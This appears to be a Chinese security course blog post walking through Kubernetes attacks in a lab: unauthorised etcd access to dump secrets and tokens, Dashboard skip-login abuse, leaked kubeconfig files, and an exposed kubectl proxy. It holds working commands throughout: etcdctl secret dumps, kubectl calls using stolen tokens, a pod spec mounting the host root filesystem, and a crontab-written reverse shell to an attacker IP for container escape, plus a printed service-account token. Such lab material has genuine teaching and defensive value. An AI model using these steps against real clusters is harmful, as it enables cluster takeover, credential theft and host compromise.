Day98:云上攻防-云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

云原生-K8s安全-etcd(Master-数据库)未授权访问

实战中不会常见,利用条件比较苛刻。

默认通过证书认证,起一个数据库作用。主要存放节点的数据,如一些token和证书。

攻击23791端口

配置映射:

/etc/kubernetes/manifests/etcd.yaml

第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert(证书)进行认证访问,一般配合ssrf或其他利用,较为鸡肋。只能本地访问,直接未授权访问获取secrets和token利用

第三种(满足):实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1),如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。只能本地访问,利用ssrf或其他进行获取secrets和token利用

复现搭建

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

复现利用:etcdV2/V3版本利用参考:

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

https://www.wangan.com/p/7fy7f81f02d9563a

暴露etcd未授权->获取secrets&token->通过token访问API-Server接管

etcdV2版本利用

直接访问http://ip:2379/v2/keys/?recursive=true ,可以看到所有的key-value值。(secrets token)

etcdV3版本利用

安装etcdctl:https://github.com/etcd-io/etcd/releases

安装kubectl:在 Linux 系统中安装并设置 kubectl | Kubernetes

1、连接提交测试

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"

./etcdctl --

endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"

./etcdctl --

endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"

2、获取k8s的secrets

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/

3、读取service account token

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole

./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

4、通过token访问API-Server,获取集群的权限

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管

云原生-K8s安全-Dashboard(Master-web面板)未授权访问

默认端口:8001(一般会被映射成别的端口)

配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。

kubernetes dashboard的未授权其实分两种情况:

一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。

另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。

复现利用

前提条件:

用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard

Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)

1、安装

https://blog.csdn.net/justlpf/article/details/130718774

下载yaml

wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml

修改kubernetes-dashboard的Service类型

kind: Service

apiVersion: v1

metadata:

labels:

k8s-app: kubernetes-dashboard

name: kubernetes-dashboard

namespace: kubernetes-dashboard

spec:

type: NodePort # 新增

ports:

  • port: 443

targetPort: 8443

nodePort: 30009 # 新增

selector:

k8s-app: kubernetes-dashboard

部署

root@k8s-master01 \~\]# kubectl create -f recommended.yaml ![ed7a78cb5e8d45d4be61111eaaf11c5f.png](https://i-blog.csdnimg.cn/direct/ed7a78cb5e8d45d4be61111eaaf11c5f.png) 拉取镜像,并且修改版本 > sudo docker pull kubernetesui/dashboard:v2.0.0 > > sudo docker pull kubernetesui/metrics-scraper:v1.0.1 ![d314b3b26c84451aaa913d573d060ae3.png](https://i-blog.csdnimg.cn/direct/d314b3b26c84451aaa913d573d060ae3.png) # 查看namespace下的kubernetes-dashboard下的资源 \[root@k8s-master01 \~\]# kubectl get pod,svc -n kubernetes-dashboard NAME READY STATUS RESTARTS AGE pod/dashboard-metrics-scraper-c79c65bb7-zwfvw 1/1 Running 0 111s pod/kubernetes-dashboard-56484d4c5-z95z5 1/1 Running 0 111s NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE service/dashboard-metrics-scraper ClusterIP 10.96.89.218 \ 8000/TCP 111s service/kubernetes-dashboard NodePort 10.104.178.171 \ 443:30009/TCP 111s ![dc70191de84f4e208fef792121e06225.png](https://i-blog.csdnimg.cn/direct/dc70191de84f4e208fef792121e06225.png) ### ******2.创建访问账户,获取token****** # 创建账号 > \[root@k8s-master01-1 \~\]# kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard # 授权 > \[root@k8s-master01-1 \~\]# kubectl create clusterrolebinding dashboard-admin-rb --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin # 获取账号token > \[root@k8s-master01 \~\]# kubectl get secrets -n kubernetes-dashboard \| grep dashboard-admin dashboard-admin-token-q8lts kubernetes.io/service-account-token 3 2m35s ![21e971ea10ab4a849662e1ac9299939d.png](https://i-blog.csdnimg.cn/direct/21e971ea10ab4a849662e1ac9299939d.png) > \[root@k8s-master01 \~\]# kubectl describe secrets dashboard-admin-token-q8lts -n kubernetes-dashboard ![7540d4233e904cf1a07de6899d603cab.png](https://i-blog.csdnimg.cn/direct/7540d4233e904cf1a07de6899d603cab.png) > token: eyJhbGciOiJSUzI1NiIsImtpZCI6IndRaUdIQW1aVjE0bnRCcUo1OGlIUTExWXlXbDloTTBnODNwSmJIQzlILWMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkYXNoYm9hcmQtYWRtaW4tdG9rZW4tcThsdHMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGFzaGJvYXJkLWFkbWluIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiM2QyYWMyOWUtM2QxNS00M2EzLWE3ODAtMjI0M2Y5NTVjYzhlIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmVybmV0ZXMtZGFzaGJvYXJkOmRhc2hib2FyZC1hZG1pbiJ9.d9PiJa2WmxOFg0fMYIMfwoRK0KO010CfUCjXLTWpfnG_PapdJNU10FGo9_IsoJT79AFOfIaewvEJyz11ZSFexZq6K9Z5W2v8CMUZIV03zgS0vVkd3LJy8CEQPU8zOYgB1ND8cNFnpecPJULsJ5mU1XF_VqsRnGZUX5HZpWu91moaAKdWIjj7R8C-ABZ6QnD7zRL6jWcb4Zrm2KY6R40x-ZGDG89Gkut6fe3XE2_67LeeHRZgaBFC3bfDSA_j41LA36GXgOqxrRO7-hNczpLuNWFpB1tx5XSx_-B9rFA4MPcVaDOzuMewvyb_BOxsRwkY_bLLh1eQHWkPGGzwBGivoQ ![4bac2021e16e467d8e59d2ec73c1b415.png](https://i-blog.csdnimg.cn/direct/4bac2021e16e467d8e59d2ec73c1b415.png) ### ******3.通过浏览器访问Dashboard的UI****** 在登录页面上输入上面的token ![024441fde39c48f8b41677270778ecc5.png](https://i-blog.csdnimg.cn/direct/024441fde39c48f8b41677270778ecc5.png) 登录成功了 ![37ea23613ed041c9b17fa3670a8640ca.png](https://i-blog.csdnimg.cn/direct/37ea23613ed041c9b17fa3670a8640ca.png) > - --enable-skip-login ![99a324a2761b4ab1ba24a06bb1f25834.png](https://i-blog.csdnimg.cn/direct/99a324a2761b4ab1ba24a06bb1f25834.png) 重新加载 > kubectl delete -f recommended.yaml ![a43c68b9f9a7456baf5f60fb4444227c.png](https://i-blog.csdnimg.cn/direct/a43c68b9f9a7456baf5f60fb4444227c.png) > kubectl create -f recommended.yaml 再次拉取镜像 > sudo docker pull kubernetesui/dashboard:v2.0.0 ![efee336e934c4c44a232f9d287fd13a0.png](https://i-blog.csdnimg.cn/direct/efee336e934c4c44a232f9d287fd13a0.png) ![31d5c15a03bf475aa0d732d1aee533c7.png](https://i-blog.csdnimg.cn/direct/31d5c15a03bf475aa0d732d1aee533c7.png) ### ******3、卸载****** > kubectl delete -f recommended.yaml ### ******4、查看状态****** > kubectl get pod,svc -n kubernetes-dashboard ### ******5、利用:新增Pod后续同前面利用一致****** > apiVersion: v1 > > kind: Pod > > metadata: > > name: xiaodi > > spec: > > containers: > > - name: test-container > > image: nginx > > volumeMounts: > > - name: test-volume > > mountPath: /mnt > > volumes: > > - name: test-volume > > hostPath: > > path: / ![9513deca253c49c6b855203e210ecadb.png](https://i-blog.csdnimg.cn/direct/9513deca253c49c6b855203e210ecadb.png) 创建成功了 > 抱错 > > pods is forbidden: User "system:serviceaccount:kubernetes-dashboard:kubernetes-dashboard" cannot create resource "pods" in API group "" in the namespace "default" > 解决: > > kubectl create clusterrolebinding gitlab-cluster-admin --clusterrole=cluster-admin --group=system:serviceaccounts --namespace=default ![a57f6795a4484ea0a7cbcd6dc67fef2e.png](https://i-blog.csdnimg.cn/direct/a57f6795a4484ea0a7cbcd6dc67fef2e.png) 创建成功 ![2fc7103f22c049279980c26c390ce9d7.png](https://i-blog.csdnimg.cn/direct/2fc7103f22c049279980c26c390ce9d7.png) > echo -e "\* \* \* \* \* root bash -i \>\& /dev/tcp/192.168.16.135/4477 0\>\&1\\n" \>\> /mnt/etc/crontab 把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了 其中一个节点写入 ![e1fd7890666b45fa8995cb0cd4c6f4e7.png](https://i-blog.csdnimg.cn/direct/e1fd7890666b45fa8995cb0cd4c6f4e7.png) 找到暴露面板-\>dashboard跳过-创建或上传pod-\>进入pod执行-利用挂载逃逸 ![f05b300a87ee4b6c980c044cdded6bbd.png](https://i-blog.csdnimg.cn/direct/f05b300a87ee4b6c980c044cdded6bbd.png) ## **云原生-K8s安全-Configfile鉴权文件泄漏** 攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。 K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。 如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存 在kubeconfig文件中,通过以下顺序来找到kubeconfig文件: 如果提供了--kubeconfig参数,就使用提供的kubeconfig文件 如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件 如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件\~/.kube/config ![de80173e0d5d41468a381d9c3c451a66.png](https://i-blog.csdnimg.cn/direct/de80173e0d5d41468a381d9c3c451a66.png) 复现利用:K8s-configfile-\>创建Pod/挂载主机路径-\>Kubectl进入容器-\>利用挂载逃逸 ### 1、将获取到的config复制 ### 2、安装kubectl使用config连接 安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux 连接: > kubectl -s https://192.168.16.144:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes ![d015282186634372aef3982c0476d206.png](https://i-blog.csdnimg.cn/direct/d015282186634372aef3982c0476d206.png) ### 3、上传利用test.yaml创建pod > kubectl -s https://192.168.16.144:6443/ apply -f test.yaml -n default --kubeconfig=config ![b10342eeeac8489cab30716c5bb95836.png](https://i-blog.csdnimg.cn/direct/b10342eeeac8489cab30716c5bb95836.png) ### ******4、连接pod后进行容器挂载逃逸****** > kubectl -s https://192.168.16.144:6443/ exec -it xiaodi bash -n default **--kubeconfig=config** ![8d9a2adb2af64e989ed54e350f749794.png](https://i-blog.csdnimg.cn/direct/8d9a2adb2af64e989ed54e350f749794.png) 失败了 > cd /mnt > > chroot . bash > > echo -e "\* \* \* \* \* root bash -i \>\& /dev/tcp/192.168.16.135/4477 0\>\&1\\n" \>\> /mnt/etc/crontab 把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了 ## **云原生-K8s安全-Kubectl Proxy不安全配置** 当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy 使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上 ![f065b7d5b528469b8bd198b6ffaf0cc0.png](https://i-blog.csdnimg.cn/direct/f065b7d5b528469b8bd198b6ffaf0cc0.png) 环境搭建 > kubectl --insecure-skip-tls-verify proxy --accept-hosts=\^.\*$ --address=0.0.0.0 --port=8009 ![c496ce38914943229caa63567a44bf1b.png](https://i-blog.csdnimg.cn/direct/c496ce38914943229caa63567a44bf1b.png) ![782c60413b844ff883d5aae669a1a129.png](https://i-blog.csdnimg.cn/direct/782c60413b844ff883d5aae669a1a129.png) 复现利用:类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。 找到暴露入口点,根据类型选择合适方案 > kubectl.exe -s 192.168.16.144:8009 get nodes ![346672117b8f4f25955dacbb90b28529.png](https://i-blog.csdnimg.cn/direct/346672117b8f4f25955dacbb90b28529.png)

相关推荐
久违の欢喜1 小时前
《云计算:核心驱动力》
云计算
yuzhangfeng1 小时前
【云计算物理网络】数据中心网络架构设计
网络·云计算
久违の欢喜1 小时前
《云计算:一场静悄悄的革命》
云计算
小刘爱喇石( ˝ᗢ̈˝ )1 小时前
玛卡巴卡的k8s知识点问答题(六)
云原生·容器·kubernetes
聚搜云—服务器分享1 小时前
阿里云国际站代理商:模型训练中断数据丢失怎么办?
阿里云·云计算
rider1891 小时前
【1】搭建k8s集群系列(二进制部署)之系统初始化
云原生·容器·kubernetes
zhu12893035561 小时前
网络安全的重要性与防护措施
网络·安全·web安全
渗透测试老鸟-九青2 小时前
面试经验分享 | 成都渗透测试工程师二面面经分享
服务器·经验分享·安全·web安全·面试·职场和发展·区块链